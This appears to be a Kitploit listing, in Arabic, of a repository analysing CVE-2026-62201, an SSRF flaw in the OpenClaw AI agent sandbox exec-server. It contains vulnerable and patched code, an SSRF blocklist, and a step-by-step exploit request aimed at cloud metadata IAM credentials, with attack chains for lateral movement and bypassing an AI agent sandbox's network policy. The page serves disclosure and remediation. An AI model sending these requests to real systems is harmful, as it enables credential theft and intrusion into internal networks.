Skip to content
KitploitKITPLOIT
أدواتالمدونة
Log in
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-62201-OpenClaw-SSRF — تحليل متعمق لـ CVE-2026-62201: تجاوز سياسة الشبكة في صندوق الحماية OpenClaw exec-server (SSRF). السبب الجذري، الكود القابل للاستغلال مقابل الكود المُصحح، الاستغلال، الاكتشاف، والمعالجة. | Kitploit
أدوات/GitHubGitHub/diedromeo/cve-2026-62201-openclaw-ssrf
تحليل الثغرات الأمنيةالاستغلالأمن الويبأمن السحابة
GitHubdiedromeo/cve-2026-62201-openclaw-ssrf

CVE-2026-62201-OpenClaw-SSRF

تحليل متعمق لـ CVE-2026-62201: تجاوز سياسة الشبكة في صندوق الحماية OpenClaw exec-server (SSRF). السبب الجذري، الكود القابل للاستغلال مقابل الكود المُصحح، الاستغلال، الاكتشاف، والمعالجة.

عرض المستودع
16منذ 21 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-62201 — تجاوز سياسة الشبكة في OpenClaw Sandbox Exec-Server (SSRF)

الخطورة: عالية · CVSS: 7.7 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N) · CWE-918 (تزوير الطلبات من جانب الخادم)


نظرة عامة على الثغرة

الحقلالقيمة
الاستشارة الأمنيةGHSA-mgvr-6gvw-3rgr
NVDCVE-2026-62201
المنتجOpenClaw (حزمة npm openclaw) — مكوّن exec-server في بيئة العزل
الإصدارات المتأثرةopenclaw < 2026.6.6
الإصدار المُصحَّح2026.6.6 والإصدارات الأحدث
السبب الجذريغياب التحقق من SSRF في مساعد HTTP المدمج في exec-server (SANDBOX_HTTP_REQUEST_SCRIPT)
الالتزام المُصحِّح21410d1c — "fix(codex): guard sandbox http requests"
ناقل الهجومطلب HTTP POST إلى معالج http/request في exec-server مع عنوان URL يتحكم به المهاجم
الأثريمكن لمستدعٍ بصلاحيات منخفضة الوصول إلى وجهات الشبكة الداخلية (بيانات السحابة الوصفية، عناوين IP الخاصة، خدمات localhost) التي كان ينبغي لسياسة شبكة OpenClaw حظرها

الملخص

OpenClaw هي منصة وكلاء ذكاء اصطناعي يعرض فيها مكوّن exec-server في بيئة العزل مساعد طلبات HTTP يستخدمه الوكلاء لإجراء استدعاءات ويب صادرة. الإصدارات السابقة لـ 2026.6.6 صدرت مع هذا المساعد بدون أي حماية من SSRF: يمكن لمستدعٍ بثقة أقل — أي وكيل أو أداة أو مسار إدخال تعتبره المنصة أقل ثقة من مشغّل البوابة — إرسال عنوان URL عشوائي وجعل exec-server يجلبه من داخل شبكة المضيف.

فحوصات سياسة الشبكة المطبَّقة على الخروج المباشر من بيئة العزل لم تكن مطبَّقة عندما تمر الطلبات عبر واجهة HTTP الخاصة بـ exec-server. هذا التناقض هو الثغرة: عمل exec-server كوكيل HTTP غير مقيد إلى الشبكة الداخلية.


تحليل فني معمّق

المكوّن: Sandbox Exec-Server

عندما يشغّل OpenClaw وكيل Codex في بيئة عزل، يبدأ خادم exec-server محليًا (extensions/codex/src/app-server/sandbox-exec-server.ts) يستضيف طرق JSON-RPC عبر ناقل WebSocket/HTTP. إحدى تلك الطرق، http/request، تتيح للوكيل جلب عناوين URL. يمرر التنفيذ الطلب عبر سكربت Python مدمج صغير — SANDBOX_HTTP_REQUEST_SCRIPT — الذي يقوم بعمل urllib الفعلي.

معالج الطلب موجود في extensions/codex/src/app-server/sandbox-exec-server/http.ts.

الكود القابل للاستغلال ([email protected])

استلم مساعد Python عنوان URL وفحص المخطط فقط:

# From [email protected] — SANDBOX_HTTP_REQUEST_SCRIPT (abridged)
def main():
    input_data = json.load(sys.stdin)
    url = str(input_data.get("url", ""))
    parsed = urllib.parse.urlparse(url)
    if parsed.scheme not in ("http", "https"):
        raise ValueError("http/request only supports http and https URLs")

    request = urllib.request.Request(url, ...)
    with urllib.request.urlopen(request, timeout=timeout) as response:
        handle_response(input_data, response)

هذه هي البوابة بأكملها. لم يكن هناك:

  • ❌ قائمة حظر لأسماء المضيفين (localhost, *.internal, metadata.google.internal …)
  • ❌ رفض لعناوين IP الخاصة / link-local / loopback
  • ❌ فحص دقة DNS (يمكن أن يتحلل اسم المضيف إلى عنوان IP داخلي)
  • ❌ التحقق من عمليات إعادة التوجيه — إعادة توجيه إلى http://169.254.169.254/ كانت تُتبع بشكل أعمى

النتيجة: {"method":"GET","url":"http://<internal-host>/"} أعادت نص الاستجابة الداخلية إلى المستدعي. كان exec-server وكيلًا مفتوحًا إلى شبكة المضيف.

الإصلاح ([email protected])

أضاف الالتزام 21410d1c دفاعًا متعمقًا على الطبقتين:

الطبقة 1 — فحص مسبق في TypeScript (assertSandboxHttpRequestTargetAllowed في http.ts):

function assertSandboxHttpRequestTargetAllowed(url: string): void {
  const parsed = new URL(url);
  if (parsed.protocol !== "http:" && parsed.protocol !== "https:") {
    throw new SsrFBlockedError(...);
  }
  if (isBlockedHostnameOrIp(parsed.hostname)) {
    throw new SsrFBlockedError(...);
  }
}

الطبقة 2 — تقوية مساعد Python (assert_url_allowed في السكربت المدمج):

  • أسماء المضيفين المحظورة: localhost, localhost.localdomain, metadata.google.internal, بالإضافة إلى اللواحق *.localhost, *.local, *.internal
  • عناوين IP الوصفية للسحابة: 169.254.169.254, 100.100.100.200, fd00:ec2::254
  • شبكات IPv4/IPv6 المحظورة: CGNAT 100.64.0.0/10, قياس الأداء 198.18.0.0/15, التوثيق 2001:db8::/32, والمزيد
  • تصنيف ipaddress: loopback, private, link-local, multicast, reserved, unspecified
  • تثبيت دقة DNS: يتم تحليل اسم المضيف قبل الطلب، ويُفحص كل عنوان تم تحليله، ثم تُثبَّت العناوين المفحوصة للاتصال الفعلي (يمنع إعادة ربط DNS)
  • GuardedRedirectHandler: كل خطوة إعادة توجيه تعيد تشغيل assert_url_allowed قبل متابعتها
  • استخراج IPv4 المضمّن في IPv6: يتم فك أشكال mapped (::ffff:a.b.c.d), 6to4 (2002::/16), Teredo, وISATAP ويُفحص عنوان IPv4 المضمّن فيها
def assert_url_allowed(url):
    parsed = urllib.parse.urlparse(url)
    ...
    hostname = normalize_hostname(parsed.hostname)
    if not hostname or is_blocked_hostname(hostname) or is_blocked_ip(hostname):
        raise ValueError("Blocked hostname or private/internal/special-use IP address")
    results = socket.getaddrinfo(hostname, parsed.port, proto=socket.IPPROTO_TCP)
    addresses = {entry[4][0] for entry in results if entry[4]}
    if not addresses or any(is_blocked_ip(address) for address in addresses):
        raise ValueError("Blocked: resolves to private/internal/special-use IP address")
    PINNED_ADDRESSES[hostname] = sorted(addresses)

الاستغلال

المتطلبات الأساسية

  • مثيل OpenClaw قيد التشغيل بإصدار < 2026.6.6 مع تمكين exec-server في بيئة العزل
  • القدرة على الوصول إلى نقطة نهاية HTTP الخاصة بـ exec-server واستدعاء http/request (تعامل المنصة هذا كوصول بصلاحيات منخفضة — مثل إضافة أو أداة أو مسار إدخال، وليس مشغّل بوابة)

دليل الاستغلال خطوة بخطوة

الخطوة 1 — إرسال طلب يستهدف خدمة داخلية:

POST /exec/http HTTP/1.1
Host: <exec-server>:8300
Content-Type: application/json

{"method":"GET","url":"http://metadata.internal/latest/meta-data/iam/security-credentials/","headers":[]}

الخطوة 2 — الاستجابة القابلة للاستغلال (HTTP 200):

جلب exec-server عنوان URL الداخلي وأعاد النص إلى المستدعي — ملفوفًا بـ base64 كـ bodyBase64:

{
  "status": 200,
  "headers": [{"name":"Content-Type","value":"application/json"}],
  "bodyBase64": "eyJzZWNyZXQiOiJBS0lBX0ZBS0VfQVdTX1NFQ1JFVF9LRVlfMTIzNDUi...}"
}

بعد فك الترميز:

{
  "secret": "...",
  "instanceId": "...",
  "region": "us-east-1",
  "role": "admin-role"
}

الخطوة 3 — الاستجابة بعد التصحيح (HTTP 502):

{
  "error": "ValueError: Blocked: resolves to private/internal/special-use IP address"
}

الوجهة الداخلية غير قابلة للوصول عبر exec-server في الإصدارات المُصحَّحة.

أمثلة على سلاسل الهجوم

  1. سرقة بيانات السحابة الوصفية — http://169.254.169.254/latest/meta-data/iam/security-credentials/ → بيانات اعتماد IAM
  2. التنقل الجانبي — الوصول إلى لوحات الإدارة وقواعد البيانات والخدمات الداخلية الأخرى على مساحة RFC 1918 التي لم يكن مقصودًا أبدًا أن تكون قابلة للوصول من exec-server
  3. خدمات Localhost — http://127.0.0.1:<port>/ لاستهداف واجهات إدارة غير مصادق عليها في نفس المضيف

الأثر وتبرير درجة CVSS

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N — 7.7 عالية

  • PR:L — يتطلب الاستغلال وصولًا بصلاحيات منخفضة (مستدعٍ بثقة أقل / مسار إدخال مُهيأ)، وليس صلاحيات مشغّل البوابة. سطح الهجوم الشبكي هو ما يجعله خطيرًا: exec-server يقع داخل شبكة النشر.
  • S:C — يتغير النطاق: الاختراق لا يقتصر على exec-server، بل يمتد إلى الشبكة الداخلية (خدمة البيانات الوصفية، الخدمات الخاصة).
  • C:H / I:N / A:N — الأثر الأساسي هو السرية: تسريب بيانات من وجهات داخلية. لا يوجد تأثير مباشر على الكتابة أو التوافر عبر هذا المسار.

تأطير الاستشارة مهم: نموذج المشغّل الموثوق في OpenClaw يفترض أن مشغّلي البوابة موثوقون. الخلل هو أن سطحًا بثقة أقل (إضافات، أدوات، مسارات إدخال) يمكنه الوصول إلى وجهات كان ينبغي للسياسة حظرها.


الاكتشاف

Nuclei

تنزيل الأداة